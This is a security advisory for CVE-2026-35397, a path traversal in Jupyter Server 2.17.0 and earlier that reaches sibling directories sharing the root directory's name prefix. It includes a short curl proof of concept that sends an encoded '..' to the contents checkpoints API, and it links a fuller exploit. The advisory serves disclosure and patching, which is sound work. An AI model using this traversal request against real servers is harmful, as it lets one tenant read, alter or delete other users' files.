JupyterGHSA-5789-5fc7-67v3

Jupyter: path traversal

Jupyter

CVE-2026-35397 · Published May 5, 2026 · updated Sep 10, 2026

High7.1

Fix: upgrade to 2.18.0 or later

GitHub advisory

Summary

Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.

PoC

Minimal:

├── test/ <- root directory.

│ └── test.txt

└── testtest/

└── secret.txt <- file to exfiltrate that we should not be able to access via API

```bash

HOST="http://localhost:8888"

TOKEN=""

SIBLING="testtest"

TARGET="secret.txt"

curl -s -X POST \

"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \

-H "Authorization: token $TOKEN"

Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006

Impact

It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir. The attacker can escalate access, reading, writing, and deleting from sibling directories.

This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.

In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.

Workarounds

Use folder names that do not overlap.

Acknowledgments

Thank you to...

Affected versions

Package	Affected	Fixed in
jupyter-server PyPI	< 2.18.0	2.18.0

Details and references

### Summary Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name. ### PoC Minimal: ``` . ├── test/ <- root directory. │ └── test.txt └── testtest/ └── secret.txt <- file to exfiltrate that we should not be able to access via API ``` ```bash HOST="http://localhost:8888" TOKEN="" SIBLING="testtest" TARGET="secret.txt" curl -s -X POST \ "$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \ -H "Authorization: token $TOKEN" ``` Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006 ### Impact It is possible for an authenticated user to access content outside the server's `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories. This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher. In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories. ### Workarounds Use folder names that do not overlap. ### Acknowledgments Thank you to @stef41 for providing a useful PoC.

CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Severity from: GitHub (reviewed advisory)
Weakness: CWE-22
Also known as: CVE-2026-35397, PYSEC-2026-68

More Jupyter advisories

All Jupyter

High 9.6May 6

JupyterLab's command linker attributes in HTML enable one-click command execution from untrusted contentCVE-2026-42557fixed in 4.5.7 +1 High 8.8May 5

Jupyter: improper input validationCVE-2026-42266fixed in 4.5.7 Medium 5.4May 5

JupyterHub has cross-origin form POSTs bypass XSRF (CWE-352)CVE-2026-40864fixed in 5.4.5 High 6.8May 5

Jupyter Server's Authentication Cookies Remain Valid After Password Reset and Server RestartCVE-2026-40934fixed in 2.18.0 HighMay 5

Jupyter Server has a CORS Origin Validation Bypass via `re.match()` in `allow_origin_pat`CVE-2026-40110fixed in 2.18.0 MediumMay 5

Jupyter Server has an open redirection vulnerability in `next` query parameterCVE-2025-61669fixed in 2.18.0